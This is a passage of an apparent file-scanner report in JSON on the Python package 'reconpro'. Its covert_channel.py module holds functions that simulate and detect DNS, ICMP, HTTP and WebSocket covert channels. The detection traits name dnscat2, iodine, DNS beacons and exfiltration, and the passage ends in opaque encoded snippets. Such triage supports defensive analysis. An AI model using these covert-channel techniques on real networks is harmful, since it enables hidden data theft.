"_simulate_timing_channel", 15602 ], [ "_simulate_icmp_tunnel", 17771 ], [ "_internet_checksum", 19519 ], [ "_simulate_cert_stego", 19833 ], [ "_simulate_url_path_encoding", 21922 ], [ "_simulate_chunked_encoding", 23842 ], [ "_simulate_websocket_frame", 25796 ], [ "_detect_dns_tunneling", 29447 ], [ "_detect_http_header_covert", 33150 ], [ "_detect_timing_channel", 37942 ], [ "_detect_icmp_tunnel_markers", 42148 ], [ "_detect_cert_steganography", 46133 ], [ "_detect_url_path_encoding", 50356 ], [ "_detect_chunked_encoding_abuse", 55555 ], [ "_detect_websocket_frame_anomalies", 60214 ], [ "run_covert_channel", 65711 ] ], "metrics": { "ast": { "op.add": 37, "op.div": 9, "op.lor": 1, "op.mod": 5, "op.mul": 28, "op.pow": 1, "op.shl": 1, "op.shr": 2, "op.sub": 11, "op.band": 3, "op.bnot": 1, "op.land": 6, "max_depth": 24, "call_count": 338, "node_count": 13960, "op.floordiv": 1, "member_count": 117, "max_array_len": 12, "op_density.add": 0, "op_density.div": 0, "op_density.lor": 0, "op_density.mod": 0, "op_density.mul": 0, "op_density.pow": 0, "op_density.shl": 0, "op_density.shr": 0, "op_density.sub": 0, "op_density.band": 0, "op_density.bnot": 0, "op_density.land": 0, "max_concat_chain": 4, "member_depth_max": 4, "max_numeric_array": 6, "op_density.floordiv": 0 }, "file": { "size": 71477, "entropy": 4.69 }, "text": { "lines": 1673, "top_char": 101, "max_ws_run": 8, "digit_ratio": 0.03, "space_count": 20402, "char_entropy": 4.69, "unique_chars": 110, "top_char_null": 0, "escape_density": 0, "lines_over_200": 10, "string_density": 0.59, "top_char_ratio": 0.07, "avg_line_length": 41.72, "max_line_length": 227, "non_ascii_ratio": 0.04, "empty_line_ratio": 0.09, "hex_escape_count": 1, "last_line_length": 23, "long_token_count": 11, "whitespace_ratio": 0.31, "identifier_density": 1.12, "line_length_stddev": 30.43, "encoded_string_ratio": 0, "normalized_string_count": 24.13, "repeated_char_sequences": 747, "suspicious_string_ratio": 0, "suspicious_comment_ratio": 0.03, "suspicious_identifier_ratio": 0.05, "normalized_unique_identifiers": 25.59 }, "binds": { "count": 194 }, "binary": { "peak_region_bytes": 33589, "peak_region_entropy": 4.98 }, "source": { "function_count": 22 }, "imports": { "count": 18, "relative": 4, "stdlib_count": 9, "stdlib_ratio": 0.5, "relative_ratio": 0.22, "third_party_count": 9, "third_party_ratio": 0.5 }, "strings": { "hex": 1, "sql": 1, "bytes": 25403, "count": 987, "shell": 1, "url_count": 3, "avg_length": 25.74, "max_length": 955, "path_count": 34, "avg_entropy": 3.18, "empty_count": 22, "url_encoded": 1, "entropy_stddev": 1.06, "base64_candidates": 1, "embedded_code_candidates": 1 }, "comments": { "chars": 7109, "count": 119, "lines": 119, "high_entropy": 4, "to_code_ratio": 0.08 }, "functions": { "count": 22, "density": 1.32, "avg_params": 1.91, "code_ratio": 0.83, "max_params": 4, "length_stddev": 37.07, "over_100_lines": 6, "avg_name_length": 22.95, "no_params_count": 8, "avg_length_lines": 63.14, "max_length_lines": 132, "min_length_lines": 9, "high_entropy_names": 12, "avg_param_name_length": 7.4 }, "identifiers": { "count": 1878, "unique": 274, "avg_length": 9.11, "max_length": 33, "min_length": 1, "avg_entropy": 2.55, "reuse_ratio": 0.15, "length_stddev": 5.97, "has_digit_ratio": 0.05, "sequential_names": 13, "single_char_count": 13, "single_char_ratio": 0.05, "high_entropy_count": 24, "high_entropy_ratio": 0.09, "all_lowercase_ratio": 0.91, "all_uppercase_ratio": 0.02, "numeric_suffix_count": 6, "underscore_prefix_count": 22 } } }, "id": 121, "mol": "K(Lu)O₃(Eu₂As₃Pr)H₃(Cm₆Cr₂Db₇)Md(In)", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/covert_channel.py", "pid": 0, "risk": 49, "sha": "45494fb5f44d580385933e14c16ada7d9600849cf096aa20616d5ecc74a71852", "size": 71477, "traits": [ { "id": "metadata/import/package::python-hashlib-import", "conf": 0.9, "crit": 3, "desc": "Python imports the hashlib library", "spans": [ [ 556, 7 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 3539, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 112, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 12455, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-4", "conf": 0.8, "crit": 1, "desc": "English function-word token \"have\"", "spans": [ [ 35260, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 8826, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 2385, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 1678, 0 ] ] }, { "id": "micro-behaviors/communications/http/header/content-length::python-content-length-header", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Python HTTP Content-Length header", "spans": [ [ 57224, 14 ] ] }, { "id": "micro-behaviors/communications/http/header/content-type::content-type-header", "conf": 0.5, "crit": 3, "desc": "References an HTTP Content-Type header", "spans": [ [ 31426, 13 ] ] }, { "id": "micro-behaviors/communications/http/header/custom::x-real-ip", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "X-Real-IP proxy header", "spans": [ [ 2830, 9 ] ] }, { "id": "micro-behaviors/communications/http/request/tasking::http-task-sequence-field", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Structured object contains a task sequence field", "spans": [ [ 18573, 10 ] ] }, { "id": "micro-behaviors/communications/http/websocket::websocket-headers", "atk": "T1071.001", "mbc": "C0002", "conf": 0.85, "crit": 3, "desc": "WebSocket protocol headers", "spans": [ [ 60988, 17 ], [ 61077, 21 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-operation", "mbc": "C0029", "conf": 0.88, "crit": 3, "desc": "Performs Python SHA-256 operation", "spans": [ [ 20938, 14 ] ] }, { "id": "micro-behaviors/crypto/library/blockchain/client::crypto-permutation-word", "conf": 0.9, "crit": 3, "desc": "Crypto permutation marker", "spans": [ [ 12929, 11 ] ] }, { "id": "micro-behaviors/data/control-flow/analysis::python-for-range-len-loop", "conf": 0.4, "crit": 3, "desc": "Python for-range-over-len(X) loop", "spans": [ [ 11317, 5 ], [ 11326, 3 ] ] }, { "id": "micro-behaviors/data/control-flow/analysis::while-loop", "conf": 0.3, "crit": 2, "desc": "While-loop control flow", "spans": [ [ 19752, 0 ] ] }, { "id": "micro-behaviors/data/decode/encoded/formats::python-base32-decode", "conf": 0.85, "crit": 3, "desc": "Python base32 decoder call", "spans": [ [ 11747, 16 ] ] }, { "id": "micro-behaviors/data/decode/hex::hex-decode-int-16", "conf": 0.7, "crit": 3, "desc": "Hex decoding via int(x, 16)", "spans": [ [ 58968, 3 ] ] }, { "id": "micro-behaviors/data/encode/base32::python-b32decode-call", "mbc": "C0026", "conf": 0.93, "crit": 3, "desc": "Python calls the Base32 decoder", "spans": [ [ 11747, 17 ] ] }, { "id": "micro-behaviors/data/encode/base32::python-b32encode-call", "mbc": "C0026", "conf": 0.93, "crit": 3, "desc": "Python calls the Base32 encoder", "spans": [ [ 11159, 17 ] ] }, { "id": "micro-behaviors/data/encode/base64::urlsafe-b64encode-call", "conf": 0.9, "crit": 3, "desc": "Calls base64.urlsafe_b64encode (Python)", "spans": [ [ 22306, 24 ] ] }, { "id": "micro-behaviors/data/format/json::json-result-field", "conf": 0.8, "crit": 3, "desc": "JSON result or response field key", "spans": [ [ 61373, 9 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::json-checksum-field", "conf": 0.9, "crit": 3, "desc": "JSON object checksum field fragment", "spans": [ [ 18486, 11 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::json-sequence-field", "conf": 0.9, "crit": 3, "desc": "JSON object sequence field fragment", "spans": [ [ 18572, 11 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::json-type-field", "conf": 0.9, "crit": 3, "desc": "JSON object type field fragment", "spans": [ [ 18421, 7 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-dumps-call", "conf": 0.9, "crit": 2, "desc": "Serializes data with Python json.dumps()", "spans": [ [ 35413, 0 ] ] }, { "id": "objectives/anti-static/obfuscation/encoding/ip-notation::ipv4-struct-pack-dec", "atk": "T1027", "mbc": "B0032", "conf": 0.9, "crit": 3, "desc": "struct.pack with decimal IP constant", "spans": [ [ 18041, 35 ] ] }, { "id": "objectives/anti-static/obfuscation/payload/config::api-named-byte-array-const--rx-6", "atk": "T1027", "mbc": "B0032", "conf": 0.92, "crit": 3, "desc": "bytes() literal (Python byte array)", "spans": [ [ 26377, 12 ] ] }, { "id": "objectives/anti-static/obfuscation/string/recovery::python-printable-char-check", "conf": 0.7, "crit": 3, "desc": "Python logic checking printable ASCII", "spans": [ [ 26479, 2 ], [ 26496, 3 ] ] }, { "id": "objectives/anti-static/obfuscation/string/reverse::base32-decode-ref", "atk": "T1027", "mbc": "B0032", "conf": 0.6, "crit": 3, "desc": "base64.b32decode reference", "spans": [ [ 11754, 9 ] ] }, { "id": "objectives/evasion/masquerade/naming/posix::secret-b", "conf": 0.6, "crit": 3, "desc": "Secret naming pattern family B", "spans": [ [ 3, 14 ] ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-tunnel-phrase", "atk": "T1071.004", "mbc": "C0001", "conf": 0.9, "crit": 3, "desc": "DNS tunnel terminology", "spans": [ [ 183, 10 ] ] }, { "id": "objectives/exfiltration/dns/tunnel::dnscat-name", "atk": "T1071.004", "mbc": "C0001", "conf": 0.7, "crit": 4, "desc": "dnscat2 tool name reference", "spans": [ [ 1512, 6 ] ] }, { "id": "objectives/exfiltration/dns/tunnel::iodine-name", "atk": "T1071.004", "mbc": "C0001", "conf": 0.6, "crit": 3, "desc": "Iodine DNS tunnel tool reference", "spans": [ [ 1536, 25 ] ] }, { "id": "objectives/exfiltration/stealer/credential/network-appliance::dns-exfil-label", "atk": "T1041", "conf": 0.78, "crit": 3, "desc": "DNS exfil label", "spans": [ [ 11480, 7 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-5", "conf": 0.95, "crit": 3, "desc": "Remediation term", "spans": [ [ 31643, 11 ] ] }, { "id": "well-known/dual-use/tunnel/dnscat2::dnscat-name", "conf": 0.7, "crit": 3, "desc": "dnscat or dnscat2 product name", "spans": [ [ 1512, 7 ] ] }, { "id": "micro-behaviors/communications/benchmark/throughput::throughput-rate-figure-text", "conf": 0.7, "crit": 1, "desc": "Throughput rate figure in text", "spans": [ [ 12417, 0 ] ] }, { "id": "micro-behaviors/communications/dns/doh::doh-query-path", "atk": "T1071.004", "mbc": "C0011", "conf": 0.5, "crit": 3, "desc": "DoH dns-query path", "spans": [ [ 29937, 9 ] ] }, { "id": "micro-behaviors/communications/http/cookies::python-response-set-cookie-header-read", "conf": 0.95, "crit": 3, "desc": "Python response object reads Set-Cookie header", "spans": [ [ 36808, 11 ] ] }, { "id": "micro-behaviors/communications/http/websocket::ping-pong-pair", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "PING/PONG protocol marker", "spans": [ [ 26831, 14 ] ] }, { "id": "micro-behaviors/communications/http/websocket::websocket-class", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "WebSocket class reference", "spans": [ [ 425, 9 ] ] }, { "id": "micro-behaviors/communications/http/websocket::websocket-lower", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "websocket lowercase reference", "spans": [ [ 60575, 9 ] ] }, { "id": "micro-behaviors/crypto/certificate/usage::certificate-ref", "conf": 0.5, "crit": 2, "desc": "References certificate terminology", "spans": [ [ 325, 0 ] ] }, { "id": "micro-behaviors/data/encode/base64::b64encode-call", "conf": 0.9, "crit": 3, "desc": "Encodes data with Python base64.b64encode()", "spans": [ [ 12736, 16 ] ] }, { "id": "micro-behaviors/data/encode/base64::import-base64", "conf": 0.9, "crit": 3, "desc": "Imports Python's base64 module", "spans": [ [ 542, 6 ] ] }, { "id": "micro-behaviors/data/string/conversion::python-chr-call", "conf": 0.9, "crit": 3, "desc": "Python chr() character conversion", "spans": [ [ 24333, 103 ], [ 24376, 13 ], [ 26412, 103 ] ] }, { "id": "objectives/command-and-control/infrastructure/keywords::beacon", "conf": 0.6, "crit": 3, "desc": "Beacon keyword (neutral context)", "spans": [ [ 1562, 6 ] ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-beacon", "atk": "T1071.004", "mbc": "C0001", "conf": 0.85, "crit": 4, "desc": "Explicit DNS beacon phrase", "spans": [ [ 1558, 10 ] ] }, { "id": "micro-behaviors/communications/benchmark/throughput::throughput-rate-figure", "conf": 0.7, "crit": 3, "desc": "Throughput rate figure for pps, bps, or qps", "uses": [ 38 ], "spans": [ [ 12417, 6 ] ] } ], "type": "python" }, { "id": 122, "mol": "K(Te)O₆(C₂Ca₄DyErPrS₂)H₅(Cm₁₁CrDb₁₀FOs₃)Md₂(In)", "sha": "9a28e36c05346f59e5b7ea1462f307ed32acf7dfb74535482151ea923fc16480", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/dark_web_monitor.py", "risk": 23, "size": 33400, "type": "python", "depth": 1 }, { "id": 123, "mol": "K(Li)O₃(DyCPr)H₃(Cm₄Cr₃Db₁₀)Md(In)", "sha": "a02aa98e79ac214416d2c989bd1faebb03497467d4c715b98981b3df73f03bdb", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/dead_drop.py", "risk": 51, "size": 93745, "type": "python", "depth": 1 }, { "id": 124, "mol": "O₈(Ca₄CoEuILaPrS₂Xe₃)H₅(Cm₃Db₅F₆Os₈Po₃)Md₂(Pa)", "sha": "4afdce2fafe9f4a5956c7ec8440cd12d55744fafbe94ea0dedf2e5d0d5155946", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/dev.py", "risk": 31, "size": 50615, "type": "python", "depth": 1 }, { "id": 125, "mol": "K(Am)O₁₁(CaAlAsC₂DyErI₂LaPPrS)H₄(Db₇F₇Os₁₄Po₆)Md(Bk)", "sha": "79510419e36620b99ff34dcb91befa6ca4f322bbbeb339b87de80e8c40c9d9e2", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/doctor.py", "risk": 67, "size": 58100, "type": "python", "depth": 1 }, { "id": 126, "mol": "K(Te)O₈(AlCCoErI₄LaPrXe₂)H₄(Cm₆CrDb₃Os)Md₃(InPa)", "sha": "01e2f539648d480f2ad240271b09b456bb0fc8655ec3c10abc7fe1335e3af454", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/free_info_ops.py", "risk": 20, "size": 93071, "type": "python", "depth": 1 }, { "id": 127, "mol": "K(Te)O₆(DyErLaPr₂SXe)H₅(Cm₁₃Db₅F₂OsPo)Md(Pa)", "sha": "c3810c6c600be2cb9ba9677379a060fe57481dff828784b84fc33d855d72ba03", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/gorgon.py", "risk": 16, "size": 32049, "type": "python", "depth": 1 }, { "ctx": [ { "b": "a%Fj9z!a0bwJy@8pFKtYp!$4kl{TNnmiHPuLPSInzE[9jz/^ajwPRG[BzkVhasnjxw[CQ:Bzk]fzE))gaAI4hA+PA7asIy[e\u002624kdj$@mlUH4vyJzJzarSx\u003earTM[B8V5nB7DE[x(dN4xcoGTvqHjgx(+ARFrRg0zF\u0026\u003e", "ln": 0, "col": 1, "line": 1 }, { "b": "wN({9wN/x@ze16dvru0)e^-Zzhzc9{l$G$sB.(dxlVM:GwO#Q7vqE5OwPRG[BzkVhaMv{oay/tbzeTqmxM4^1D2NXzay]4}vrDydB1N!xau7[}aw3D)wPzi?BzkVhaw=G*By+", "ln": 448, "col": 63, "line": 8 }, { "b": "AbP?vmp{dyv@#BdwO#72B0ay\u003ez/PMfxcuh:LPTTTCoyylzGY-iv}/*[azC)tBzbkdxM4^1D2NXzkmeOUa{}}5z/3R7uUjC5B-I52uM:61AbP=sayPe9z//Afx(v)g3jpG:AbP=sazth8xL.x(3tBu@z/P}xA+bO(ze:AlBrCTDvruj8Bzkla3tBu@z/P}xBzkP63tBu@z/P}xB-Iqmx\u003c@YlvrcB23tar%z6i}CAa%i5azCXiz/P}xl2H%0avG{NBsXLdx(!wEawV@#x(v($yZHIYA=k!qe?Q*VBz$P6vr(B8azCXiz/P}xxMOunuVp47vR48kmRM:Jx(mMmay]4}vrDyduU\u003cB[x(){b3jma+aMwVF\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5(s$avGTWvpAU^wJy@bzF%-pav{A*wQelkBrBH@xkRd1B-I5masF%4d\u003e7/IaMwVF\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM3", "ln": 617, "col": 12, "line": 11 }, { "b": "arR^HEjLZFarR!N3lQDlarR^Har\u003eYizdK[Lar\u003ci/z/e#{viNlfarR^HarR^Hb4Lnav@=p5BzkVhb03?\u003co\u003c}\u003cZvrb{hv{%s#B-Ihlxcp(azE[9jz/^azxKM09wO(Navru74ax803efEF.r8ta*mPrhnawC^kqa@I-o)GVmoD(1{arR^HarR^Hb4$K@wmY^*x(mD}v{%E$A=SA=aBsCrarR^HarR^HarR^JB7GxnwPw$Qax{42x(v($wNM+", "ln": 1824, "col": 1, "line": 39 }, { "b": "wnbKZBz(hvb03\u0026Jb4LzazEE9+a$K\u0026Xwnb$1vp-\u003e1y\u0026r@gefF%Swnb$1vp-\u003eLe]2DCzx-vq3lQDlarR^Har\u003e=kBzb2}zE^D\u003evruBdB0rT/toU.hx(v($wNM=*ed9HxarR^HarR\u003erz/oA9wNxd?wnbKZBz(hvb03\u0026Jt}us9arR!Ped9HxarV1rarR^Hao", "ln": 2073, "col": 17, "line": 46 }, { "b": "arR^HarR^Hb4$K@wmY^*x(mD}v{%E$A=SA=aBsCrarR^HarR^HarR^JB7GxnwPw$Qax{49x(F3fa$K\u0026XB8#1Dga\u003emjz/xo9B8#1AyIv:bzZ5Er3lQDlarR^HaBL^FarR^HarR^Hb4tF3D0+o6wnbKZBz(hvb03\u0026Jb5p[iAbM{Kar\u003ePnAbY.Fy\u0026r@gt}us9arR^HarR^JAa9\u003c4uUKy*x\u003e7N[z/P[yiV}SJfkCovAbM}aed9HxarR^HarR\u003erz/oA9wNxd?wnbKZBn", "ln": 2337, "col": 1, "line": 53 }, { "b": "arR^JwmY*(A+PGmx(v(kiV]Rly*?yax\u003e5nYAaJ]sB8Mhwv}u=@z/fciAbP?vw]zYjwmY\u003c]v@#B5xcq51y?Wx[z/{azvpKy[C4(5za$K6zarR^HarR^JxK$Q.wPzc(zE^D\u003evruBdB0rT/DKp(rarR^HarR^HarR\u003eHwPz%9AW0K!toW:0zE[9jz/^f", "ln": 3026, "col": 6, "line": 73 }, { "b": "vruBdB0rT/toW:0zE[9jz/^fOaAwVtz/fciAbP\u00266e]V7WefDcIz/fciwfLqg3lQDlarR^Har\u003e=kBzb2}zE^D\u003evruBdB0rT/toU.lz/fciAbP?xefDb\u0026xM4^1D1na8", "ln": 3206, "col": 20, "line": 77 }, { "b": "wnbKZBz(hvb03\u0026[3lQDlarR^HarR^Har\u003e(rA=#2mb03\u0026Jb6N%Cwn(Eea$K\u0026XzF9W3CRgE\u0026z/Pxcz/^geed9HxarR^HarR^HarR\u003eMePtSLwPzu)eN\u0026#HiV}SJCw?IjAb]JhB0rdTb5?jme?h6-A+6cfwPI]pt}us9arR^HarR^HarR^Jy?W^5b03\u0026Ja]", "ln": 3944, "col": 19, "line": 95 }, { "b": "B0rdTb6N%Cwn(N2B8@Khed9HxarR^HarR\u003eEvruf\u0026x(mD}v{%E$A=SA=ax{3yCw]cIz!A^4e]UGya$K\u0026Xfl.v!vpTj?zxZROa$[gTy\u0026TG8e]UGyb3=-barR^HarR^Hb4CLfyIvu!x(mD}v{%E$A=SA=ax{4lz/PxcA+frkb3=-barR^HEjLZFarR!N3lQDlarR^Har\u003eYizdK[Lar\u003c9*B-5xO3lQDlarR^Har\u003eucB7ol8Acb/jzx.a:b1#{0eOP9AwPzi?BzkVhaz\u003eL6CvtJ6eN@jdBAIRrzF789z/fciAbP?vc#:irwmYmZB8#nuaA7\u003cml${NSvp-\u003c@a$K6zarR^HarR^JxK$Q.wPzc(zE^D\u003evruBdB0rT/DKp(rarR^HarR^HarR\u003eHwPz%9AW0K!toWG)B-5yeed9HxarR^HarV7-3lQDlarR^H", "ln": 4185, "col": 65, "line": 100 }, { "b": "aBL^FarR^HDKp(rarR^HarR\u003eCvqPN1iV]Rlz/fJjBrSmyarR^HarR^Hb4Lnav@=p5BzkVhb03?\u003cnKDAfq:S\u0026sk{f\u0026VzE[9jz/^bYFrRf/zfoV6By/Iox(mE7B98CpvqE5@z/fVqz!{LqD2[7sz6i!rz//]cz!%Fsed9HxarR^HarR\u003ewwNPaXA:JJ#wnbKZBz(hvb03\u0026[3lQDlarR^HarR^Har\u003e(rA=#2mb03\u0026Jb4CLeAbP?xefDcDzV", "ln": 4666, "col": 4, "line": 113 }, { "b": "arR^HarR^HEjLZFarR^HarR^JvSb!5uUKy*x\u003e7N[z/P[yiV}SJv@Dm7z/^fOar\u003erlzG6JoazCtba$K\u0026XzeS@]B-O-Tar\u003e(AzeZX8ed9HxarR^HarR\u003eEvruf\u0026x(mD}v{%E$A=SA=ax{3yv@Dm7z/^geed9HxarR^HarR\u003erz/oA9wNxd?wnbKZBz(hvb03\u0026Jb4CLeAbP?xt}us9arR!Ped9HxarV1rarR^HarR^Hb5Q?awG\u003ceTb1LgqB7+", "ln": 4915, "col": 1, "line": 120 }, { "b": "wmY*(A+PGmx(v(kiV]RlA=l2uePtJmBy]Diz6iIgzE[9jz/^avy*?A$z/PXqCwhejaA}yaeN\u0026dfwN({2vqYH^wO(0@BrSmyarR^HarR^Hb4$K@wmY^*x(mD}v{%E$A=SA=aBsCrarR^HarR^HarR^JB7GxnwPw$Qax{46w[=s1a$K\u0026XxL7$1xDQ#b", "ln": 5125, "col": 10, "line": 127 }, { "b": "arR^HarR^JxK$Q.wPzc(zE^D\u003evruBdB0rT/DKp(rarR^HarR^HarR\u003eHwPz%9AW0K!toWM=zEENha$K\u0026Xv{%m-A^q+ByH}y8b3=-barR^HarR^HEjLZFarR^HarR^JvSb!5uUKy*x\u003e7N[z/P[yiV}SJv{%m-A^q+ByH}xcefDcDvqYH]C{4iEyH}xcefDcUxLzv1B95Qied9HxarR^HarR\u003eEvruf\u0026x(mD}v{%E$A=SA=ax{3yv{%m-A^n\u0026War\u0026EXz!\u0026{4b3=-", "ln": 6358, "col": 2, "line": 159 }, { "b": "wmY*(A+PGmx(v(kiV]RFwNWl2vrl0\u003caztXhwQelkBrC^wBz8!9zEEvbB7]XrvqYP#B7ocex(mMaz!pb2BAy@3yJyWJ3lQDlarR^Har\u003eGgvpS}\u0026uUKy*x\u003e7N[z/P[yiV@+RarR^HarR^HarR^Hb6dsoC4CXriV}SJByx68wPw$Car\u003e]ozF\u003c3aaztV", "ln": 7383, "col": 10, "line": 188 }, { "b": "\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2PjboPx.BywS!B7ExPrb#X=xjV9ap*[S=z^^f$aMv{oaAz4kB.bSoB0bNrvrrS6CYmOxwGUV8zE[9jz/^ahwOtH}x(w20boV0hKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2P", "ln": 8278, "col": 177, "line": 210 }, { "b": "M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5(sWr8MpTm[3r.p^FkTpEdxEiV}agB97ROx\u003e8l?B98BNavf)\u003cu0ONoax]f}arR!N3lQDlarR^Har\u003eYizdK[Lar\u003e=kBzb36A::c5A=UV9uVH76BrSmyarR^HarR^Hb4Lnav@=p5BzkVhb03?\u003clU{gLB7]bbAa9\u003c4aARTjC4CYnvqE6dzY*YAByM$yvrlHlwfJMiarR^HarR^Hb5*$jxD/FWa$\u003eM3fd[\u003ege?O!fe?X?ffd[\u003ege?O!fe?Z^Tv\u003eR!fB8#Loa$K6zarR^HarR^JzdN*5z!74Mar\u003crAr3A\u003e2arR^HarR^Hb4V1rwN/*?A+eV}b03?\u003cwnci#A=U/0wPz*fA:J:9uVoB]Bzkf1uT[1(By/uia$K6zarR^HarR^JxM4^1D2NXzuVY\u003c}y:7[.b5?alw[tE]uO\u003cC[uVf%(x\u003eg^)Bzkk[y*Q:]A=k$xed9HxarQ", "ln": 8567, "col": 166, "line": 212 }, { "b": "v\u003c1YEoDX4!ygQ)%x(v(ix(k5kB.bPsaAg+fvqPN$wPw$C3lQDlarR^Har\u003e=kBz8\u003cVar\u0026EWwNPQ?xG{G1cM(h.atD2leIed$3lQDlarR^Har\u003eVlBzbP6b03?\u003cm[3x3ed9HxarR^HarR\u003etCYmk7Byf61vqEbGar\u003eugC4CYnwNx1?A=k#9z/PhxfFBX43lQDlarR^Har\u003eGqzE[9jz//udwO=fbiV]R=wPzx]v@#6mfFD\u003cLA:HTSg:jETarR^H", "ln": 9339, "col": 31, "line": 233 }, { "b": "arR^Har\u003eYizdK[Lar(5KB6\u0026%0w]83*By!#bed9HxarR^HarR\u003eswPIv4x(Ffdz/c:War\u003cY{w]83*By!#9sw@cvx(k5kB.bPsaAg+fvqPN$wPw$C3lQDlarR^Har\u003e=kBz8\u003cVar\u0026EWwNPQ?xG{G1jAC1Mx(FeTvqGH}Bsn\u003c)jtg+=A+PGmj%zJ+arR^HarR^Hb5H[kxM4A9iV]Rpmn$DZ3lQDlarR^Har\u003exwAaJK3uVGZ^y:7[.b4Lx", "ln": 9551, "col": 4, "line": 240 }, { "b": "b03?\u003cv@k:-x(mV%v@#B6zEmD@ze0G#y\u0026shned9HxarR^HarR\u003eswPIv4x(Ffdz/c:War\u003cf\u003ezeAZ0wftP7ygQ)%x(v(iC4\u003ewcB7Gi5v@Dg4zxZRsarR^HarR^Hb5*$jxD/FWa$)[HzF8gEz/Z1-f!$WufFk4if/@(NBrAkFByM$yvrlHlwfJMiarR^HarR^Hb5H[kxM4A9iV]Rpmn$DZ3lQDlarR^Har\u003exwAaJK3uVGZ^y:7[.b4LzhwPz\u003c6uUam#z/Pi6A:J{5zdNTdBrSmyarR^HarR^Hb4$[jwQelkByfc3y?$pRar\u003e=oA+n()Byc\u003cUfD@4ParR^HEjLZFarR!N3lQDlarR^Har\u003eYizdK[Lar\u003e(FA+nV{z!0i(xM4%la$K6zarR^HarR^JwmY*(A+PGmx(v(kiV]RBq=l7cC4\u003ewcy\u0026r/(y?N:dBrCQnwnc6}v@@[C3lQDlarR^Har\u003e=kBz8\u003cVar\u0026EJwPRA}kxR0.j.O}VA5]T9f!$WufFk4if^ndQarR^HarR^Hb5H[kxM4A9iV]Rpmn$DZ3lQDlarR^Har\u003exwAaJK3uVGZ^y:7[.b4LzhwPz\u003c6uUam#z/Pi6A:J^az*lKKed9HxarR^HarR\u003ewz/fciAbP\u00269By/o8b03?\u003cx\u003eg^)Bzkk[y*Q:]A=k#9Aa9x\u003ca$K6zao", "ln": 9844, "col": 14, "line": 248 }, { "b": "x(Ffdz/c:War\u003cY{zeTJcazbt7wGUY8v@cpex(v(ivruQ5ze:Oved9HxarR^HarR\u003eEvrufbiV]R1Aa9x\u003ckw1RCwJ:ZGBz%n]fjw%AvpK7:AXp\u003cuz7/%zwO=fnAa\u003chmed9HxarR^HarR\u003eBwPRQ7wfK5Sb1C73a$K6zarR^HarR^JwQ5f9v@#6#wNPy0iV]RSx)a6dB7FY\u0026A=M8sa$K6zarR^HarR^JxM4^1D2NXzuVY\u003c}y:7[.b5?alw[tE]uO\u003cC\u003cuVf%(g+ZZfed9HxarV7-3lQDlaBsB", "ln": 10443, "col": 15, "line": 265 }, { "b": 